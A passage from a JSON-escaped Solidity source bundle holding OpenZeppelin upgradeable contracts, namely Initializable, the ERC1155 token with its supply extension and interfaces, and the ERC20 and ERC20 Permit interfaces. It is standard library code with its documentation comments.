[CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts.\n *\n * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a\n * constructor.\n *\n * Emits an {Initialized} event.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * A reinitializer may be used after the original initialization step. This is essential to configure modules that\n * are added through upgrades and that require initialization.\n *\n * When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`\n * cannot be nested. If one is invoked in the context of another, execution will revert.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n *\n * WARNING: setting the version to 255 will prevent any future reinitialization.\n *\n * Emits an {Initialized} event.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n *\n * Emits an {Initialized} event the first time it is successfully executed.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized < type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n\n /**\n * @dev Internal function that returns the initialized version. Returns `_initialized`\n */\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n /**\n * @dev Internal function that returns the initialized version. Returns `_initializing`\n */\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC1155/ERC1155Upgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC1155/ERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC1155Upgradeable.sol\";\nimport \"./IERC1155ReceiverUpgradeable.sol\";\nimport \"./extensions/IERC1155MetadataURIUpgradeable.sol\";\nimport \"../../utils/AddressUpgradeable.sol\";\nimport \"../../utils/ContextUpgradeable.sol\";\nimport \"../../utils/introspection/ERC165Upgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Implementation of the basic standard multi-token.\n * See https://eips.ethereum.org/EIPS/eip-1155\n * Originally based on code by Enjin: https://github.com/enjin/erc-1155\n *\n * _Available since v3.1._\n */\ncontract ERC1155Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC1155Upgradeable, IERC1155MetadataURIUpgradeable {\n using AddressUpgradeable for address;\n\n // Mapping from token ID to account balances\n mapping(uint256 => mapping(address => uint256)) private _balances;\n\n // Mapping from account to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json\n string private _uri;\n\n /**\n * @dev See {_setURI}.\n */\n function __ERC1155_init(string memory uri_) internal onlyInitializing {\n __ERC1155_init_unchained(uri_);\n }\n\n function __ERC1155_init_unchained(string memory uri_) internal onlyInitializing {\n _setURI(uri_);\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {\n return\n interfaceId == type(IERC1155Upgradeable).interfaceId ||\n interfaceId == type(IERC1155MetadataURIUpgradeable).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC1155MetadataURI-uri}.\n *\n * This implementation returns the same URI for *all* token types. It relies\n * on the token type ID substitution mechanism\n * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\n *\n * Clients calling this function must replace the `\\{id\\}` substring with the\n * actual token type ID.\n */\n function uri(uint256) public view virtual override returns (string memory) {\n return _uri;\n }\n\n /**\n * @dev See {IERC1155-balanceOf}.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {\n require(account != address(0), \"ERC1155: address zero is not a valid owner\");\n return _balances[id][account];\n }\n\n /**\n * @dev See {IERC1155-balanceOfBatch}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(address[] memory accounts, uint256[] memory ids)\n public\n view\n virtual\n override\n returns (uint256[] memory)\n {\n require(accounts.length == ids.length, \"ERC1155: accounts and ids length mismatch\");\n\n uint256[] memory batchBalances = new uint256[](accounts.length);\n\n for (uint256 i = 0; i < accounts.length; ++i) {\n batchBalances[i] = balanceOf(accounts[i], ids[i]);\n }\n\n return batchBalances;\n }\n\n /**\n * @dev See {IERC1155-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC1155-isApprovedForAll}.\n */\n function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[account][operator];\n }\n\n /**\n * @dev See {IERC1155-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) public virtual override {\n require(\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\n \"ERC1155: caller is not token owner or approved\"\n );\n _safeTransferFrom(from, to, id, amount, data);\n }\n\n /**\n * @dev See {IERC1155-safeBatchTransferFrom}.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) public virtual override {\n require(\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\n \"ERC1155: caller is not token owner or approved\"\n );\n _safeBatchTransferFrom(from, to, ids, amounts, data);\n }\n\n /**\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function _safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) internal virtual {\n require(to != address(0), \"ERC1155: transfer to the zero address\");\n\n address operator = _msgSender();\n uint256[] memory ids = _asSingletonArray(id);\n uint256[] memory amounts = _asSingletonArray(amount);\n\n _beforeTokenTransfer(operator, from, to, ids, amounts, data);\n\n uint256 fromBalance = _balances[id][from];\n require(fromBalance >= amount, \"ERC1155: insufficient balance for transfer\");\n unchecked {\n _balances[id][from] = fromBalance - amount;\n }\n _balances[id][to] += amount;\n\n emit TransferSingle(operator, from, to, id, amount);\n\n _afterTokenTransfer(operator, from, to, ids, amounts, data);\n\n _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);\n }\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function _safeBatchTransferFrom(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n require(ids.length == amounts.length, \"ERC1155: ids and amounts length mismatch\");\n require(to != address(0), \"ERC1155: transfer to the zero address\");\n\n address operator = _msgSender();\n\n _beforeTokenTransfer(operator, from, to, ids, amounts, data);\n\n for (uint256 i = 0; i < ids.length; ++i) {\n uint256 id = ids[i];\n uint256 amount = amounts[i];\n\n uint256 fromBalance = _balances[id][from];\n require(fromBalance >= amount, \"ERC1155: insufficient balance for transfer\");\n unchecked {\n _balances[id][from] = fromBalance - amount;\n }\n _balances[id][to] += amount;\n }\n\n emit TransferBatch(operator, from, to, ids, amounts);\n\n _afterTokenTransfer(operator, from, to, ids, amounts, data);\n\n _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);\n }\n\n /**\n * @dev Sets a new URI for all token types, by relying on the token type ID\n * substitution mechanism\n * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\n *\n * By this mechanism, any occurrence of the `\\{id\\}` substring in either the\n * URI or any of the amounts in the JSON file at said URI will be replaced by\n * clients with the token type ID.\n *\n * For example, the `https://token-cdn-domain/\\{id\\}.json` URI would be\n * interpreted by clients as\n * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`\n * for token type ID 0x4cce0.\n *\n * See {uri}.\n *\n * Because these URIs cannot be meaningfully represented by the {URI} event,\n * this function emits no events.\n */\n function _setURI(string memory newuri) internal virtual {\n _uri = newuri;\n }\n\n /**\n * @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function _mint(\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) internal virtual {\n require(to != address(0), \"ERC1155: mint to the zero address\");\n\n address operator = _msgSender();\n uint256[] memory ids = _asSingletonArray(id);\n uint256[] memory amounts = _asSingletonArray(amount);\n\n _beforeTokenTransfer(operator, address(0), to, ids, amounts, data);\n\n _balances[id][to] += amount;\n emit TransferSingle(operator, address(0), to, id, amount);\n\n _afterTokenTransfer(operator, address(0), to, ids, amounts, data);\n\n _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);\n }\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function _mintBatch(\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n require(to != address(0), \"ERC1155: mint to the zero address\");\n require(ids.length == amounts.length, \"ERC1155: ids and amounts length mismatch\");\n\n address operator = _msgSender();\n\n _beforeTokenTransfer(operator, address(0), to, ids, amounts, data);\n\n for (uint256 i = 0; i < ids.length; i++) {\n _balances[ids[i]][to] += amounts[i];\n }\n\n emit TransferBatch(operator, address(0), to, ids, amounts);\n\n _afterTokenTransfer(operator, address(0), to, ids, amounts, data);\n\n _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);\n }\n\n /**\n * @dev Destroys `amount` tokens of token type `id` from `from`\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `from` must have at least `amount` tokens of token type `id`.\n */\n function _burn(\n address from,\n uint256 id,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC1155: burn from the zero address\");\n\n address operator = _msgSender();\n uint256[] memory ids = _asSingletonArray(id);\n uint256[] memory amounts = _asSingletonArray(amount);\n\n _beforeTokenTransfer(operator, from, address(0), ids, amounts, \"\");\n\n uint256 fromBalance = _balances[id][from];\n require(fromBalance >= amount, \"ERC1155: burn amount exceeds balance\");\n unchecked {\n _balances[id][from] = fromBalance - amount;\n }\n\n emit TransferSingle(operator, from, address(0), id, amount);\n\n _afterTokenTransfer(operator, from, address(0), ids, amounts, \"\");\n }\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n */\n function _burnBatch(\n address from,\n uint256[] memory ids,\n uint256[] memory amounts\n ) internal virtual {\n require(from != address(0), \"ERC1155: burn from the zero address\");\n require(ids.length == amounts.length, \"ERC1155: ids and amounts length mismatch\");\n\n address operator = _msgSender();\n\n _beforeTokenTransfer(operator, from, address(0), ids, amounts, \"\");\n\n for (uint256 i = 0; i < ids.length; i++) {\n uint256 id = ids[i];\n uint256 amount = amounts[i];\n\n uint256 fromBalance = _balances[id][from];\n require(fromBalance >= amount, \"ERC1155: burn amount exceeds balance\");\n unchecked {\n _balances[id][from] = fromBalance - amount;\n }\n }\n\n emit TransferBatch(operator, from, address(0), ids, amounts);\n\n _afterTokenTransfer(operator, from, address(0), ids, amounts, \"\");\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Emits an {ApprovalForAll} event.\n */\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC1155: setting approval status for self\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting\n * and burning, as well as batched variants.\n *\n * The same hook is called on both single and batched variants. For single\n * transfers, the length of the `ids` and `amounts` arrays will be 1.\n *\n * Calling conditions (for each `id` and `amount` pair):\n *\n * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * of token type `id` will be transferred to `to`.\n * - When `from` is zero, `amount` tokens of token type `id` will be minted\n * for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens of token type `id`\n * will be burned.\n * - `from` and `to` are never both zero.\n * - `ids` and `amounts` have the same, non-zero length.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address operator,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any token transfer. This includes minting\n * and burning, as well as batched variants.\n *\n * The same hook is called on both single and batched variants. For single\n * transfers, the length of the `id` and `amount` arrays will be 1.\n *\n * Calling conditions (for each `id` and `amount` pair):\n *\n * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * of token type `id` will be transferred to `to`.\n * - When `from` is zero, `amount` tokens of token type `id` will be minted\n * for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens of token type `id`\n * will be burned.\n * - `from` and `to` are never both zero.\n * - `ids` and `amounts` have the same, non-zero length.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address operator,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {}\n\n function _doSafeTransferAcceptanceCheck(\n address operator,\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) private {\n if (to.isContract()) {\n try IERC1155ReceiverUpgradeable(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {\n if (response != IERC1155ReceiverUpgradeable.onERC1155Received.selector) {\n revert(\"ERC1155: ERC1155Receiver rejected tokens\");\n }\n } catch Error(string memory reason) {\n revert(reason);\n } catch {\n revert(\"ERC1155: transfer to non-ERC1155Receiver implementer\");\n }\n }\n }\n\n function _doSafeBatchTransferAcceptanceCheck(\n address operator,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) private {\n if (to.isContract()) {\n try IERC1155ReceiverUpgradeable(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (\n bytes4 response\n ) {\n if (response != IERC1155ReceiverUpgradeable.onERC1155BatchReceived.selector) {\n revert(\"ERC1155: ERC1155Receiver rejected tokens\");\n }\n } catch Error(string memory reason) {\n revert(reason);\n } catch {\n revert(\"ERC1155: transfer to non-ERC1155Receiver implementer\");\n }\n }\n }\n\n function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {\n uint256[] memory array = new uint256[](1);\n array[0] = element;\n\n return array;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[47] private __gap;\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC1155/extensions/ERC1155SupplyUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC1155/extensions/ERC1155Supply.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC1155Upgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Extension of ERC1155 that adds tracking of total supply per id.\n *\n * Useful for scenarios where Fungible and Non-fungible tokens have to be\n * clearly identified. Note: While a totalSupply of 1 might mean the\n * corresponding is an NFT, there is no guarantees that no other token with the\n * same id are not going to be minted.\n */\nabstract contract ERC1155SupplyUpgradeable is Initializable, ERC1155Upgradeable {\n function __ERC1155Supply_init() internal onlyInitializing {\n }\n\n function __ERC1155Supply_init_unchained() internal onlyInitializing {\n }\n mapping(uint256 => uint256) private _totalSupply;\n\n /**\n * @dev Total amount of tokens in with a given id.\n */\n function totalSupply(uint256 id) public view virtual returns (uint256) {\n return _totalSupply[id];\n }\n\n /**\n * @dev Indicates whether any token exist with a given id, or not.\n */\n function exists(uint256 id) public view virtual returns (bool) {\n return ERC1155SupplyUpgradeable.totalSupply(id) > 0;\n }\n\n /**\n * @dev See {ERC1155-_beforeTokenTransfer}.\n */\n function _beforeTokenTransfer(\n address operator,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual override {\n super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\n\n if (from == address(0)) {\n for (uint256 i = 0; i < ids.length; ++i) {\n _totalSupply[ids[i]] += amounts[i];\n }\n }\n\n if (to == address(0)) {\n for (uint256 i = 0; i < ids.length; ++i) {\n uint256 id = ids[i];\n uint256 amount = amounts[i];\n uint256 supply = _totalSupply[id];\n require(supply >= amount, \"ERC1155: burn amount exceeds totalSupply\");\n unchecked {\n _totalSupply[id] = supply - amount;\n }\n }\n }\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC1155/extensions/IERC1155MetadataURIUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155Upgradeable.sol\";\n\n/**\n * @dev Interface of the optional ERC1155MetadataExtension interface, as defined\n * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155MetadataURIUpgradeable is IERC1155Upgradeable {\n /**\n * @dev Returns the URI for token type `id`.\n *\n * If the `\\{id\\}` substring is present in the URI, it must be replaced by\n * clients with the actual token type ID.\n */\n function uri(uint256 id) external view returns (string memory);\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155ReceiverUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165Upgradeable.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ninterface IERC1155ReceiverUpgradeable is IERC165Upgradeable {\n /**\n * @dev Handles the receipt of a single ERC1155 token type. This function is\n * called at the end of a `safeTransferFrom` after the balance has been updated.\n *\n * NOTE: To accept the transfer, this must return\n * `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`\n * (i.e. 0xf23a6e61, or its own function selector).\n *\n * @param operator The address which initiated the transfer (i.e. msg.sender)\n * @param from The address which previously owned the token\n * @param id The ID of the token being transferred\n * @param value The amount of tokens being transferred\n * @param data Additional data with no specified format\n * @return `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))` if transfer is allowed\n */\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n /**\n * @dev Handles the receipt of a multiple ERC1155 token types. This function\n * is called at the end of a `safeBatchTransferFrom` after the balances have\n * been updated.\n *\n * NOTE: To accept the transfer(s), this must return\n * `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`\n * (i.e. 0xbc197c81, or its own function selector).\n *\n * @param operator The address which initiated the batch transfer (i.e. msg.sender)\n * @param from The address which previously owned the token\n * @param ids An array containing ids of each token being transferred (order and length must match values array)\n * @param values An array containing amounts of each token being transferred (order and length must match ids array)\n * @param data Additional data with no specified format\n * @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))` if transfer is allowed\n */\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155Upgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC1155/IERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165Upgradeable.sol\";\n\n/**\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155Upgradeable is IERC165Upgradeable {\n /**\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\n */\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n /**\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n * transfers.\n */\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] values\n );\n\n /**\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n * `approved`.\n */\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n /**\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n *\n * If an {URI} event was emitted for `id`, the standard\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n * returned by {IERC1155MetadataURI-uri}.\n */\n event URI(string value, uint256 indexed id);\n\n /**\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) external view returns (uint256);\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\n external\n view\n returns (uint256[] memory);\n\n /**\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n *\n * Emits an {ApprovalForAll} event.\n *\n * Requirements:\n *\n * - `operator` cannot be the caller.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address account, address operator) external view returns (bool);\n\n /**\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - If the caller is not `from`, it must have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) external;\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) external;\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/draft-IERC20PermitUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n *\n * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n */\ninterface IERC20PermitUpgradeable {\n /**\n * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n * given ``owner``'s signed approval.\n *\n * IMPORTANT: The same issues {IERC20-approve} has related to transaction\n * ordering also apply here.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `deadline` must be a timestamp in the future.\n * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n * over the EIP712-formatted function arguments.\n * - the signature must use ``owner``'s current nonce (see {nonces}).\n *\n * For more information on the signature format, see the\n * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n * section].\n */\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n /**\n * @dev Returns the current nonce for `owner`. This value must be\n * included whenever a signature is generated for {permit}.\n *\n * Every successful call to {permit} increases ``owner``'s nonce by one. This\n * prevents a signature from being used multiple times.\n */\n function nonces(address owner) external view returns (uint256);\n\n /**\n * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n */\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20Upgradeable {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 